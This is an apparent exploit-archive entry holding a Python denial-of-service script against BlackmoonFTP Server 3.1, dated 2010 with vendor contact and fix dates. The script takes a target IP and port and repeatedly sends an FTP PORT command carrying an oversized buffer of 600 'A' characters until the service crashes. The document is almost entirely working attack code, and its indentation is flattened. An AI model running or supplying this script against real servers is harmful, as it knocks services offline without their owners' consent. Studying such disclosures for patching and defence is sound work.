Blackmoon FTP 3.1 Denial Of Service

`#!/usr/bin/python  
  
# Exploit Title: BlackmoonFTP Server DOS  
# Date: 12/28/2010  
# Author: Craig Freyman (cd1zz)  
# Software Link: http://www.mediafire.com/?bnc4d00myymmx55  
# Version: 3.1 Release 6 - Build 1735 and 1736  
# Tested On: Windows XP SP3  
# Vendor Contacted: 12/28/2010  
# Vendor Fixed: 1/13/2011  
  
import socket  
import sys  
  
buffer = '\x41' * 600  
  
counter = 1  
  
if len(sys.argv) != 3:  
print "Usage: ./blackmoonDOS.py <ip> <port>"  
sys.exit()  
  
ip = sys.argv[1]  
port = sys.argv[2]  
  
while counter <= 300:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:   
print "[*] Sending evil buffer. Count " + str(counter) + " out of 300"  
s.connect((ip,int(port)))  
s.recv(1024)  
s.send('PORT ' + buffer + '\r\n')  
s.recv(1024)  
s.send('QUIT \r\n')  
s.recv(1024)   
s.close()  
counter=counter+1  
except:  
print "Check the service - probably dead!"  
sys.exit()  
  
  
`